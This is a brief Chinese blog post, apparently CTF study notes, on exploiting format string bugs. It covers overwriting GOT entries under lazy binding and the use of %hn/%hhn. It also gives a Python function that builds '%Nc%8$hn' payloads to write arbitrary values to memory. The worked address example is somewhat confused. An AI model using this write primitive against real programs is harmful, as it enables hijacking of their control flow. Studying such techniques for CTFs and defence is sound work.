hacker

字符串格式化漏洞利用技巧

2019-01-01  本文已影响19人  jessica1123

在某个函数被调用之前,由于linux动态链接的时候采用的是延时绑定的机制
因此某个函数在被实际调用之前,它的got表存储的内容实际是plt的下一条指令,因而可以用gdb调试查看它的值。而字符串格式化漏洞就可以改变这个值,让函数跑到自己控制的跳转。

image.png
备注:hn可以修改双字节的内容,hhn修改单字节的内容

并且高地址对应的是高字节,即我们要修改got['printf']的时候,需要把printf+2

got['printf'] = 0x6012B8

修改成 0x60268B的时候,只需要让
got['printf'] = 0x268B
got['printf'] = 0x60

def write(addr,value):
    offset_list = [0,16,32]
    for index,offset in enumerate([0,16,32]):
        wait_to_write = (value >> offset) & 0xffff
        payload = ('%' + str(wait_to_write) + 'c%8$hn').ljust(16,' ') + p64(addr + index*2) + p64(0xaabbccdd)
        io.send(payload)
        time.sleep(0.2)
        io.clean()

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop/
https://potatso.xyz/2018/04/07/pwn%E4%B9%8Bret2_dl_resolve/
https://vang3lis.github.io/2018/09/30/ret2_dl_runtime_resolve/

上一篇下一篇

猜你喜欢

热点阅读